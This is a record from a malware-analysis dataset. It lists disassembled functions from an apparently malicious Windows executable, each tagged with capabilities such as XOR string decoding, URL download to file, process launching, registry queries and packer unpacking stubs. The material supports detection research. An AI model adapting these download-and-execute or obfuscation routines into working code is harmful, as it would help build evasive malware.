joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409d12
Capabilities:
Encode data using xor

Disassembly:
push 0xc8
mov eax, 0x4693f6
call fcn.0044d11f
mov ebx, dword [ebp + 8]
xor esi, esi
mov dword [ebp - 0x50], esi
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 4], esi
call fcn.00404135
pop ecx
pop ecx
mov byte [ebp - 4], 1
call fcn.0042b084
push eax
lea ecx, [ebp - 0x4c]
call fcn.004075fa
xor edi, edi
mov byte [ebp - 4], 2
cmp dword [ebp - 0x18], esi
jbe 0x409d83
push edi
lea ecx, [ebp - 0x2c]
call fcn.004034de
xor byte [eax], 0x4a
push edi
lea ecx, [ebp - 0x2c]
call fcn.004034de
movsx ax, byte [eax]
movzx eax, ax
push eax
lea ecx, [ebp - 0x4c]
call fcn.00408a71
inc edi
cmp edi, dword [ebp - 0x18]
jb 0x409d58
dec dword [ebp + 0x28]
cmp dword [ebp + 0x28], esi
jle 0x409e10
push dword [ebp - 0x4c]
lea ecx, [ebp - 0xd4]
call fcn.00407e63
push dword [eax]
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 3
call fcn.004023a5
lea eax, [ebp - 0xd0]
mov byte [ebp - 4], 5
cmp dword [ebp - 0xd4], eax
je 0x409dc9
push dword [ebp - 0xd4]
call fcn.0044cc33
pop ecx
push dword [ebp + 0x28]
lea eax, [ebp - 0x48]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x50], esp
push eax
call fcn.00401f61
lea eax, [ebp - 0x50]
push eax
call fcn.00409d12
add esp, 0x24
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 6
call fcn.00408b51
mov ecx, dword [ebp - 0x50]
add ecx, 0xfffffff0
call fcn.00401264
push esi
push 1
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 2
call fcn.004018c3
lea ecx, [ebp - 0x4c]
call fcn.00408aad
mov ecx, eax
call fcn.00408af6
push eax
mov ecx, ebx
call fcn.0040761f
mov ecx, dword [ebp - 0x4c]
add ecx, 0xfffffff0
call fcn.00401264
push esi
push 1
lea ecx, [ebp - 0x2c]
call fcn.004018c3
push esi
push 1
lea ecx, [ebp + 0xc]
call fcn.004018c3
mov eax, ebx
call fcn.0044d1a2
ret
Function at 0x41b1cf
Capabilities:
Create directory
Download url
Receive data

Disassembly:
push 0xc
mov eax, 0x46bf1f
call fcn.0044d0b6
mov esi, ecx
call fcn.0042b084
push eax
lea ecx, [ebp - 0x10]
call fcn.004075fa
mov eax, dword [esi + 8]
mov ecx, dword [eax + 0xc]
xor ebx, ebx
cmp dword [ecx - 0xc], ebx
mov dword [ebp - 4], ebx
jg 0x41b23d
push dword [eax + 4]
lea eax, [ebp - 0x18]
push eax
call fcn.0041b039
mov eax, dword [eax]
mov ecx, dword [esi + 8]
mov ecx, dword [ecx + 8]
push 0x5c
push eax
push ecx
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 4], 1
call fcn.0041b105
add esp, 0x18
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.00403ffb
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.00401264
jmp 0x41b260
mov ecx, dword [eax + 0xc]
mov eax, dword [eax + 8]
push 0x5c
push ecx
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.0041b105
add esp, 0x10
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 3
call fcn.00403ffb
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
mov byte [ebp - 4], bl
call fcn.00401264
mov eax, dword [esi + 8]
push ebx
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, dword [esi + 8]
mov eax, dword [eax + 4]
push esi
mov esi, dword [ebp - 0x10]
push ebx
push esi
push eax
push ebx
call sub.urlmon.dll_URLDownloadToFileA
cmp eax, ebx
jge 0x41b2a3
mov dword [ebp - 0x18], eax
push 0x48a9ac
lea eax, [ebp - 0x18]
push eax
call fcn.0044cbe7
lea ecx, [esi - 0x10]
call fcn.00401264
call fcn.0044d18e
ret
Function at 0x41ba09
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x108
lea ebp, [esp - 4]
mov eax, dword [0x495180]
xor eax, ebp
mov dword [ebp + 0x108], eax
push 8
mov eax, 0x46bfc9
call fcn.0044d0b6
mov esi, dword [ebp + 0x114]
and dword [ebp - 0x10], 0
push 0x105
lea eax, [ebp]
push 0
push eax
call fcn.0044ca00
add esp, 0xc
lea eax, [ebp]
push eax
push 0
push 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.Cx4HOiwLHzAFGRsMAw4hfgsOBykDLTkFCXk9DAcwISEIGQt_BQsLPQASeggHeT5_BiB7eS49d3c
call fcn.004023a5
lea eax, [ebp - 0x10]
push eax
call fcn.004042ec
mov edi, eax
and dword [ebp - 4], 0
lea eax, [ebp - 0x14]
push eax
call fcn.004046c7
mov edi, dword [edi]
mov eax, dword [eax]
add esp, 0x28
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.00401264
mov ecx, dword [ebp - 0x10]
or dword [ebp - 4], 0xffffffff
add ecx, 0xfffffff0
call fcn.00401264
lea eax, [ebp]
push eax
mov ecx, esi
call fcn.00404603
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x108]
xor ecx, ebp
call fcn.0044d0a7
add ebp, 0x10c
leave
ret
Function at 0x41c985
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
sub esp, 0x100
lea ebp, [esp - 4]
mov eax, dword [0x495180]
xor eax, ebp
mov dword [ebp + 0x100], eax
push 0x44
mov eax, 0x46c2bb
call fcn.0044d0b6
push 2
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.Kyc6OysiIQwOCH4uCTItGgwtKSABHi0mBRkfORoiEw8OMn87Dg4tOAAzcnMAHi0iKyIhPBogcnwMLRsFDSc6OysnJXc
mov byte [ebp - 0xd], 0
call fcn.004023a5
lea eax, [ebp - 0x14]
push eax
call fcn.004042ec
add esp, 0x24
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
and dword [ebp - 4], 0
lea eax, [ebp - 0x24]
push eax
mov ebx, 0x20019
push ebx
push 0
push dword [ebp - 0x14]
mov edi, reloc.OLEAUT32.dll_SysReAllocString
push edi
call esi
test eax, eax
jne 0x41cad1
push 0xfe
push eax
mov byte [ebp], al
lea eax, [ebp + 1]
push eax
call fcn.0044ca00
add esp, 0xc
lea eax, [ebp - 0x50]
push eax
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp]
push eax
push dword [ebp - 0x24]
mov dword [ebp - 0x2c], 0xff
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
cmp dword [ebp - 0x1c], 1
jbe 0x41ca55
mov byte [ebp - 0xd], 0
jmp 0x41cac8
push 3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push str.ATMpfAUzOSQFIDkEDTJyAgsjAHwILXoGKSJ6Awc9KXwIGyEsLD0LEBodDwcGGDkrCyMpJgg9HwAFGRsNBwIlJwgbIQcFPXoQKScPKwcJHy4JCz5hAT09LQckehsLIH4iBgkbJywjcgQFIDk4ADAlfQEze3kuPXd3
call fcn.004023a5
lea eax, [ebp - 0x20]
push eax
call fcn.004042ec
add esp, 0x24
lea eax, [ebp - 0x28]
push eax
push ebx
xor ebx, ebx
push ebx
push dword [ebp - 0x20]
push edi
call esi
test eax, eax
jne 0x41cabd
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push 0x478c60
push dword [ebp - 0x28]
mov dword [ebp - 0x30], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41cab4
cmp dword [ebp - 0x18], 1
je 0x41cab4
mov byte [ebp - 0xd], 1
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x20]
add ecx, 0xfffffff0
call fcn.00401264
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.00401264
mov al, byte [ebp - 0xd]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x100]
xor ecx, ebp
call fcn.0044d0a7
add ebp, 0x104
leave
ret
Function at 0x41d121
Capabilities:
Resume thread

Disassembly:
push 0
mov eax, 0x46c44c
call fcn.0044d0b6
mov edi, ecx
push 0x20
mov dword [ebp - 4], 2
call fcn.00428f96
xor ebx, ebx
pop ecx
cmp eax, ebx
je 0x41d14f
mov ecx, eax
call fcn.0041bdf7
mov esi, eax
jmp 0x41d151
xor esi, esi
lea eax, [ebp + 0xc]
push eax
lea ecx, [esi + 0xc]
call fcn.00403ffb
lea eax, [ebp + 0x10]
push eax
lea ecx, [esi + 0x10]
call fcn.00403ffb
mov eax, dword [edi + 0x330]
mov dword [esi + 4], eax
lea eax, [ebp + 8]
push eax
lea ecx, [esi + 8]
call fcn.00403ffb
mov eax, dword [edi + 0x20]
push ebx
push 4
push ebx
push ebx
push esi
push 0x41ce2d
mov dword [esi], eax
mov byte [esi + 0x14], bl
mov byte [esi + 0x15], bl
call fcn.0042c607
lea ecx, [edi + 0x354]
mov dword [ecx], eax
cmp eax, ebx
je 0x41d1b5
mov dword [eax + 0x28], ebx
mov eax, dword [ecx]
push dword [eax + 0x2c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x41d1c3
mov byte [edi + 0x359], 1
mov byte [edi + 0x35a], 1
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00401264
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
call fcn.00401264
mov ecx, dword [ebp + 0x10]
add ecx, 0xfffffff0
call fcn.00401264
call fcn.0044d18e
ret 0xc
Function at 0x423881
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x44]
push esi
push eax
call fcn.0044ca00
add esp, 0xc
push dword [ebp + 0xc]
lea eax, [ebp - 0x44]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x44], 0x44
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
setne al
pop esi
leave
ret 8
Function at 0x4250c2
Capabilities:
Create process on windows

Disassembly:
push 0x20
mov eax, 0x46d738
call fcn.0044d0b6
mov esi, ecx
xor ebx, ebx
push ebx
push 3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1c], esp
push str.ATMpfAUzOSQFIDkOAwJ_IggZGwMFMzkkBSA5OAAzHHk
mov dword [ebp - 4], ebx
call fcn.004023a5
lea eax, [ebp - 0x18]
push eax
call fcn.004042ec
add esp, 0x24
push dword [eax]
lea ecx, [ebp + 8]
call fcn.00403861
mov ecx, dword [ebp - 0x18]
cmp eax, 0xffffffff
setg byte [ebp - 0xd]
add ecx, 0xfffffff0
call fcn.00401264
cmp byte [ebp - 0xd], bl
je 0x425152
push 1
push ebx
push ebx
push dword [ebp + 8]
push 2
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1c], esp
push str.Kyc6OysjH3wGMxg7Kyc6Ow
call fcn.004023a5
lea eax, [ebp - 0x18]
push eax
call fcn.004042ec
add esp, 0x24
push dword [eax]
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
jmp 0x4252ab
push ebx
mov ecx, esi
call fcn.0042d154
call fcn.00404944
mov ecx, dword [0x49696c]
cmp ecx, ebx
je 0x42516e
call fcn.0041d56e
call fcn.0042b084
push eax
lea ecx, [ebp - 0x14]
call fcn.004075fa
mov byte [ebp - 4], 1
call fcn.0042b084
push eax
lea ecx, [ebp - 0x18]
call fcn.004075fa
mov esi, 0x47b454
push esi
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call fcn.004040bc
lea eax, [ebp - 0x1c]
push eax
call fcn.00404647
pop ecx
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 3
call fcn.00408fa9
mov ecx, dword [ebp - 0x1c]
add ecx, 0xfffffff0
mov byte [ebp - 4], 2
call fcn.00401264
push esi
lea ecx, [ebp - 0x14]
call fcn.004040bc
lea eax, [ebp + 8]
push eax
mov esi, 0x4a3464
lea eax, [ebp - 0x1c]
push esi
push eax
call fcn.00404065
add esp, 0xc
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 4
call fcn.00408fa9
mov ecx, dword [ebp - 0x1c]
add ecx, 0xfffffff0
mov byte [ebp - 4], 2
call fcn.00401264
push dword [0x496970]
push 2
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1c], esp
push str.Kyc6OysncicaeDo7Kycldw
call fcn.004023a5
lea eax, [ebp - 0x1c]
push eax
call fcn.004042ec
add esp, 0x24
push dword [eax]
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 4], 5
call fcn.00408e06
mov ecx, dword [ebp - 0x1c]
add esp, 0xc
add ecx, 0xfffffff0
mov byte [ebp - 4], 2
call fcn.00401264
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push esi
push eax
call fcn.00404065
add esp, 0xc
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x14]
call fcn.00408fa9
mov ecx, dword [ebp - 0x1c]
add ecx, 0xfffffff0
mov byte [ebp - 4], 2
call fcn.00401264
lea ecx, [ebp - 0xd]
call fcn.0042b0fb
mov esi, dword [ebp - 0x14]
lea eax, [ebp - 0x2c]
push eax
push esi
lea ecx, [ebp - 0xd]
mov byte [ebp - 4], 7
call fcn.00423881
lea ecx, [ebp - 0xd]
mov byte [ebp - 4], 2
call fcn.0041aa1c
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
call fcn.00401264
lea ecx, [esi - 0x10]
call fcn.00401264
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00401264
call fcn.0044d18e
ret 4
Function at 0x42d757
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x46e44f
call fcn.0044d0b6
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x42d77c
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x42d7c2
lea ecx, [ebp - 0x10]
call fcn.0040396b
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0042912e
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401264
mov eax, esi
call fcn.0044d18e
ret 8

Function at 0x42f7be
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x42f806
call fcn.0042af16
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x42f806
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x42f849
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x42f832
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x42f832
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x42f846
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x430b01
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x430b25
cmp dword [edi + 0x54], 0
jne 0x430b25
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.0042af16
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.00430ac2
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x4372e1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x437328
call fcn.0042af16
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x437328
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x437344
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.00436e59
mov esi, eax
test edi, edi
je 0x437342
test ebx, ebx
je 0x437342
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x438a09
Capabilities:
Create http request

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
mov esi, ecx
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
mov dword [esi], vtable.CInternetSession.0
test eax, eax
jne 0x438a34
call fcn.0042af16
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi + 8], eax
test eax, eax
jne 0x438a57
push eax
push dword [esi + 4]
call fcn.0043898f
push esi
push eax
mov ecx, 0x4a4fdc
call fcn.00438603
mov eax, esi
pop esi
pop ebp
ret 0x18

Function at 0x4392bc
Capabilities:
Connect to http server

Disassembly:
push 4
mov eax, 0x46ecb4
call fcn.0044d0b6
mov esi, ecx
mov dword [ebp - 0x10], esi
push dword [ebp + 0x1c]
mov edi, dword [ebp + 8]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call fcn.0043927c
and dword [ebp - 4], 0
lea ecx, [esi + 0x18]
mov dword [esi], vtable.CHttpConnection.0
call fcn.0040396b
push dword [esi + 8]
mov edi, dword [edi + 8]
push 0
push 3
push dword [ebp + 0x18]
mov byte [ebp - 4], 1
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [esi + 4], eax
test eax, eax
jne 0x439322
push eax
push dword [esi + 8]
call fcn.0043898f
push dword [esi + 0xc]
mov ecx, 0x4a4fdc
push eax
call fcn.00438603
mov eax, esi
call fcn.0044d18e
ret 0x18
Function at 0x44d0a7
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x495180]
jne 0x44d0b1
repz ret
jmp fcn.0045750c

Function at 0x46286b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004554e4
and dword [ebp - 4], 0
cmp dword [0x4a5db0], 0
mov ebx, eax
jne 0x46291c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4629cd
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x48257c
push edi
call esi
test eax, eax
je 0x4629cd
push eax
call fcn.00455472
mov dword [esp], 0x48256c
push edi
mov dword [0x4a5db0], eax
call esi
push eax
call fcn.00455472
mov dword [esp], 0x482558
push edi
mov dword [0x4a5db4], eax
call esi
push eax
call fcn.00455472
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4a5db8], eax
call esi
push eax
call fcn.00455472
pop ecx
mov dword [0x4a5dc0], eax
test eax, eax
je 0x46291c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00455472
pop ecx
mov dword [0x4a5dbc], eax
mov eax, dword [0x4a5dbc]
cmp eax, ebx
je 0x462974
cmp dword [0x4a5dc0], ebx
je 0x462974
push eax
call fcn.004554ed
push dword [0x4a5dc0]
mov esi, eax
call fcn.004554ed
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x462974
test edi, edi
je 0x462974
call esi
test eax, eax
je 0x46296b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x46296b
test byte [ebp - 0xc], 1
jne 0x462974
or dword [ebp + 0x10], 0x200000
jmp 0x4629ad
mov eax, dword [0x4a5db4]
cmp eax, ebx
je 0x4629ad
push eax
call fcn.004554ed
pop ecx
test eax, eax
je 0x4629ad
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4629ad
mov eax, dword [0x4a5db8]
cmp eax, ebx
je 0x4629ad
push eax
call fcn.004554ed
pop ecx
test eax, eax
je 0x4629ad
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4a5db0]
call fcn.004554ed
pop ecx
test eax, eax
je 0x4629cd
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4629cf
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x42e004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x42e072
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x41a257bc
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e060
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x42e0d2
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x70bc32bc
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219